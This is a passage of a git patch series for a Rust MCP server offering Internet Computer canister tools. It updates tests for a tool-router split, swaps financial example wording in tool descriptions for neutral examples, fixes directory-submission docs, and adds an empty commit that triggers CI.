tests { // get_canister_candid as destructive. Assert the read/write classification serializes. #[test] fn every_tool_has_correct_read_write_annotations() { - let tools = super::IcTools::tool_router().list_all(); + let tools = super::IcTools::all_tools(); assert_eq!(tools.len(), 26, "expected 26 tools, got {}", tools.len()); assert!( tools.iter().all(|t| t.annotations.is_some()), @@ -2442,7 +2532,7 @@ mod tests { // refused method families, and the user-controlled venue. #[test] fn financial_policy_is_a_server_instruction_not_a_description() { - let tools = super::IcTools::tool_router().list_all(); + let tools = super::IcTools::all_tools(); let tool = tools .iter() .find(|t| &*t.name == "canister_update_call") @@ -2458,13 +2548,13 @@ mod tests { } // The local binary's login tools (`authenticate`/`auth_status`) live on its - // OWN wrapper handler, never in this router: this router IS what the hosted - // server advertises on `tools/list`, so a login tool landing here would ship - // to every hosted client (which logs in via OAuth instead). Regression guard - // for that boundary. + // OWN wrapper handler, never on these routers: this surface IS what the + // hosted server advertises on `tools/list`, so a login tool landing here + // would ship to every hosted client (which logs in via OAuth instead). + // Regression guard for that boundary. #[test] fn the_core_router_carries_no_local_login_tools() { - let tools = super::IcTools::tool_router().list_all(); + let tools = super::IcTools::all_tools(); for name in ["authenticate", "auth_status"] { assert!( tools.iter().all(|t| &*t.name != name), @@ -2473,6 +2563,37 @@ mod tests { } } + // The tool surface is split by the scope taxonomy the server instructions + // teach: every `icp_`-prefixed (protocol / meta-level) tool lives on + // IcProtocolTools, everything app-/canister-scoped on IcCanisterTools — + // no overlap, nothing dropped, and the composed list is what tools/list + // serves. + #[test] + fn the_split_follows_the_icp_prefix_taxonomy() { + let canister = super::IcCanisterTools::tool_router().list_all(); + let protocol = super::IcProtocolTools::tool_router().list_all(); + for t in &canister { + assert!( + !t.name.starts_with("icp_"), + "{} is icp_-prefixed and belongs on IcProtocolTools", + t.name + ); + } + for t in &protocol { + assert!( + t.name.starts_with("icp_"), + "{} is not icp_-prefixed and belongs on IcCanisterTools", + t.name + ); + } + let all = super::IcTools::all_tools(); + assert_eq!(all.len(), canister.len() + protocol.len()); + let mut names: Vec<&str> = all.iter().map(|t| &*t.name).collect(); + names.sort_unstable(); + names.dedup(); + assert_eq!(names.len(), all.len(), "tool names must be unique across the split routers"); + } + // icp_top_up_canister and icp_create_canister are instructions-only, and // their descriptions must say so FUNCTIONALLY — the tool prints steps and // never executes — without compliance disclaimers (per review, policy @@ -2480,7 +2601,7 @@ mod tests { // Guards against a future edit quietly reverting either. #[test] fn top_up_tool_declares_itself_instructions_only() { - let tools = super::IcTools::tool_router().list_all(); + let tools = super::IcTools::all_tools(); let tool = tools .iter() .find(|t| &*t.name == "icp_top_up_canister") @@ -2493,7 +2614,7 @@ mod tests { #[test] fn create_tool_declares_itself_instructions_only() { - let tools = super::IcTools::tool_router().list_all(); + let tools = super::IcTools::all_tools(); let tool = tools .iter() .find(|t| &*t.name == "icp_create_canister") @@ -2510,7 +2631,7 @@ mod tests { // whole surface: a new tool added without an output schema fails here. #[test] fn every_tool_declares_an_object_output_schema() { - let tools = super::IcTools::tool_router().list_all(); + let tools = super::IcTools::all_tools(); for t in &tools { let schema = t .output_schema @@ -2528,7 +2649,7 @@ mod tests { // Spot-check icp_find_canister_by_name's schema lists the expected properties. #[test] fn find_canister_declares_output_schema() { - let tools = super::IcTools::tool_router().list_all(); + let tools = super::IcTools::all_tools(); let tool = tools .iter() .find(|t| &*t.name == "icp_find_canister_by_name") From 1ef20373aa7687c977c818088b2f7ff7829004f8 Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 27 Aug 2026 14:32:10 +0000 Subject: [PATCH 21/22] Neutralize the remaining financial data examples; fix a heading and a placeholder MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Per review-bot findings: the open_app / canister_query descriptions and the server instructions still used balance/holdings/positions and a get_balance example as the model-visible illustrations of per-app data — replaced with bookings/appointments/orders/profile. The anthropic doc's section heading still said 'answer pending' above a body that says resolved in code; and the openai doc's negative test case used an angle- bracket placeholder that Markdown parses as a raw HTML tag — it now uses a reserved example.com domain. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- crates/imcp2-core/src/tools.rs | 6 +++--- docs/anthropic-directory-submission.md | 2 +- docs/openai-directory-submission.md | 7 ++++--- 3 files changed, 8 insertions(+), 7 deletions(-) diff --git a/crates/imcp2-core/src/tools.rs b/crates/imcp2-core/src/tools.rs index a6f3eb9..fbfcb76 100644 --- a/crates/imcp2-core/src/tools.rs +++ b/crates/imcp2-core/src/tools.rs @@ -515,7 +515,7 @@ impl IcTools { } #[tool( - description = "If the request is about a specific app or the user's own data in it (a balance, holdings, a profile, \"what can it do\"), start with open_app first to resolve the app and discover its canisters, then compose the answer from what it returns, since there is rarely a dedicated per-feature tool. READ from an Internet Computer canister — provide EITHER a Candid `query` method OR an OQL query (exactly one). `method` is a query function from the canister's Candid interface, invoked with textual-Candid `args`; `oql` is an OQL query as a JSON object string, run against the canister's `execute` method (no Candid escaping — write plain JSON). Use `oql` when get_canister_candid reports `oql: true` (a Candid `method` query is then REJECTED — read via OQL); use `method` for a plain query canister such as a ledger. The `oql` path REQUIRES `derivation_origin` (per-app data is caller-gated; an anonymous OQL read is rejected for now) and returns `columns` + `rows` (a markdown table) with `has_more` for paging; on an empty result it validates the query's `start` against the schema and returns valid_entities + a did_you_mean repair. The `method` path may be anonymous, or pass `derivation_origin` + `account` to read AS your account; it returns the decoded reply in textual Candid. Get `derivation_origin` from open_app / resolve_app (not a raw URL), and the OQL entity/field names from get_canister_oql_schema. For state changes use canister_update_call.", + description = "If the request is about a specific app or the user's own data in it (a booking, an order, a profile, \"what can it do\"), start with open_app first to resolve the app and discover its canisters, then compose the answer from what it returns, since there is rarely a dedicated per-feature tool. READ from an Internet Computer canister — provide EITHER a Candid `query` method OR an OQL query (exactly one). `method` is a query function from the canister's Candid interface, invoked with textual-Candid `args`; `oql` is an OQL query as a JSON object string, run against the canister's `execute` method (no Candid escaping — write plain JSON). Use `oql` when get_canister_candid reports `oql: true` (a Candid `method` query is then REJECTED — read via OQL); use `method` for a plain query canister such as a ledger. The `oql` path REQUIRES `derivation_origin` (per-app data is caller-gated; an anonymous OQL read is rejected for now) and returns `columns` + `rows` (a markdown table) with `has_more` for paging; on an empty result it validates the query's `start` against the schema and returns valid_entities + a did_you_mean repair. The `method` path may be anonymous, or pass `derivation_origin` + `account` to read AS your account; it returns the decoded reply in textual Candid. Get `derivation_origin` from open_app / resolve_app (not a raw URL), and the OQL entity/field names from get_canister_oql_schema. For state changes use canister_update_call.", annotations(title = "Query a canister (Candid method or OQL)", read_only_hint = true, destructive_hint = false, open_world_hint = true), output_schema = schema_for_output::(), )] @@ -926,7 +926,7 @@ impl IcTools { } #[tool( - description = "ROUTING. Run this chain before answering anything that names, or implies, a specific app or the user's own data in one app (a balance, holdings, bookings, positions, profile, or \"what can it do\"): (1) Is the request about a specific APP's functionality or the user's data in it, rather than the IC protocol itself? (2) Is that app on the Internet Computer? If unsure, THIS tool (or icp_find_app_by_name) is how you find out: a known app or an IC-verifiable URL resolves, while an unrecognized app name, or a URL with no Internet Computer evidence, is refused rather than guessed. (3) If so, START HERE: one open_app call resolves the app AND discovers its service. An app feature is almost never a single named tool (there is no \"get_balance\"); you COMPOSE it from what open_app returns, reading the discovered canisters and their `oql`/`api_doc_available` flags to see how to READ (canister_query, including OQL) or ACT (canister_update_call). So never conclude \"there's no tool for that\" from the flat tool list without opening the app first. Open an Internet Computer app in ONE call, given its NAME or its URL — the recommended entry point when a user names an app. It resolves the app's Internet Identity derivation origin (like resolve_app) AND discovers the canisters behind it (like discover_app_canisters) together, so you don't chain those yourself. Pass a NAME as the user said it, or a URL (e.g. \"https://opencloud.org\"): a name or bare host is matched to the built-in known-app registry FIRST (so even a wrong-TLD guess repairs to the canonical URL), and an explicit https:// URL is resolved as given. NEVER fabricate a domain from a name — an unknown bare name is refused with instructions to find the real URL (web search / ask the user), and a URL with no Internet Computer evidence is refused, both instead of guessing a wrong identity. Returns `app_url` (the one used), `derivation_origin` (+ its source) to act with, `alternative_origins`, and the discovered `canisters` (with provenance/labels AND per-canister `oql`/`api_doc_available` capability flags, from a one-shot Candid probe of the app's own canisters). A canister flagged `oql` holds the app's data, GATED BY THE CALLER's principal: to read the USER's own data (\"my …\", \"our …\") pass the returned `derivation_origin` to get_canister_oql_schema (for the entity/field names) and to canister_query (with the `oql` argument, to run the query). Those OQL reads REQUIRE `derivation_origin` — not `app_url` — and reject an anonymous read for now. No authenticated session required for open_app itself (no principal is derived here). Narrower tools remain for single steps: icp_find_app_by_name (name→URL only), resolve_app (origin only), discover_app_canisters (canisters only).", + description = "ROUTING. Run this chain before answering anything that names, or implies, a specific app or the user's own data in one app (bookings, appointments, orders, a profile, or \"what can it do\"): (1) Is the request about a specific APP's functionality or the user's data in it, rather than the IC protocol itself? (2) Is that app on the Internet Computer? If unsure, THIS tool (or icp_find_app_by_name) is how you find out: a known app or an IC-verifiable URL resolves, while an unrecognized app name, or a URL with no Internet Computer evidence, is refused rather than guessed. (3) If so, START HERE: one open_app call resolves the app AND discovers its service. An app feature is almost never a single named tool (there is no \"get_bookings\"); you COMPOSE it from what open_app returns, reading the discovered canisters and their `oql`/`api_doc_available` flags to see how to READ (canister_query, including OQL) or ACT (canister_update_call). So never conclude \"there's no tool for that\" from the flat tool list without opening the app first. Open an Internet Computer app in ONE call, given its NAME or its URL — the recommended entry point when a user names an app. It resolves the app's Internet Identity derivation origin (like resolve_app) AND discovers the canisters behind it (like discover_app_canisters) together, so you don't chain those yourself. Pass a NAME as the user said it, or a URL (e.g. \"https://opencloud.org\"): a name or bare host is matched to the built-in known-app registry FIRST (so even a wrong-TLD guess repairs to the canonical URL), and an explicit https:// URL is resolved as given. NEVER fabricate a domain from a name — an unknown bare name is refused with instructions to find the real URL (web search / ask the user), and a URL with no Internet Computer evidence is refused, both instead of guessing a wrong identity. Returns `app_url` (the one used), `derivation_origin` (+ its source) to act with, `alternative_origins`, and the discovered `canisters` (with provenance/labels AND per-canister `oql`/`api_doc_available` capability flags, from a one-shot Candid probe of the app's own canisters). A canister flagged `oql` holds the app's data, GATED BY THE CALLER's principal: to read the USER's own data (\"my …\", \"our …\") pass the returned `derivation_origin` to get_canister_oql_schema (for the entity/field names) and to canister_query (with the `oql` argument, to run the query). Those OQL reads REQUIRE `derivation_origin` — not `app_url` — and reject an anonymous read for now. No authenticated session required for open_app itself (no principal is derived here). Narrower tools remain for single steps: icp_find_app_by_name (name→URL only), resolve_app (origin only), discover_app_canisters (canisters only).", annotations(title = "Open an app (resolve origin + discover canisters)", read_only_hint = true, destructive_hint = false, open_world_hint = true), output_schema = schema_for_output::(), )] @@ -1947,7 +1947,7 @@ const SERVER_INSTRUCTIONS: &str = "Internet Computer tools. Every tool speaks TE id; `icp_lookup_canister_info_by_id(id)` tells you what a bare canister id IS (dashboard \ label, type, controllers, subnet).\n\n\ \"MY / OUR …\" IS AN AUTHENTICATED READ. A question about the USER's OWN data in an app \ - (\"who am I meeting with…\", \"my bookings\", \"our balance\") reads data the app gates \ + (\"who am I meeting with…\", \"my bookings\", \"our open orders\") reads data the app gates \ by the CALLER's principal. An OQL read (get_canister_oql_schema, and canister_query \ with the `oql` argument) REQUIRES the app's \ `derivation_origin` (from open_app / resolve_app) — anonymous per-app reads are \ diff --git a/docs/anthropic-directory-submission.md b/docs/anthropic-directory-submission.md index f23b419..1d3adc3 100644 --- a/docs/anthropic-directory-submission.md +++ b/docs/anthropic-directory-submission.md @@ -133,7 +133,7 @@ by the MCP server itself. The page and its route shipped in effective date agree. Then enter that URL in the portal. The reviewed source text is [`icp-mcp-privacy-policy-draft.md`](icp-mcp-privacy-policy-draft.md). -### 2. Financial-transactions policy (mitigations shipped; answer pending) +### 2. Financial-transactions policy (resolved in code) The Directory Policy **prohibits connectors that transfer money, cryptocurrency, or other financial assets, or execute financial diff --git a/docs/openai-directory-submission.md b/docs/openai-directory-submission.md index 59f6dc4..71a3a5a 100644 --- a/docs/openai-directory-submission.md +++ b/docs/openai-directory-submission.md @@ -144,9 +144,10 @@ Positive: 6. "Get the Motoko skill" → returns the skill document. Negative: -1. "Open https://" → refused by - the IC-evidence gate with guidance (web-search or ask the user for the - real URL) rather than resolved to a wrong identity. +1. "Open https://no-ic.example.com" (a reserved domain with no Internet + Computer presence) → refused by the IC-evidence gate with guidance + (web-search or ask the user for the real URL) rather than resolved to a + wrong identity. 2. A management call on a "Questions only" session → actionable reconnect-with-actions message, not an opaque error. 3. Any authenticated tool with no sign-in → clean 401 → OAuth flow starts From f80c516357c9886c855157fa20623d87ff44a11e Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 27 Aug 2026 17:41:52 +0000 Subject: [PATCH 22/22] Trigger the org-required External PR Ruleset workflow Empty commit at the author's request: the org ruleset began applying to this repository after this branch's last push, so its required workflow never ran on the previous head and the check sat at Expected forever. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk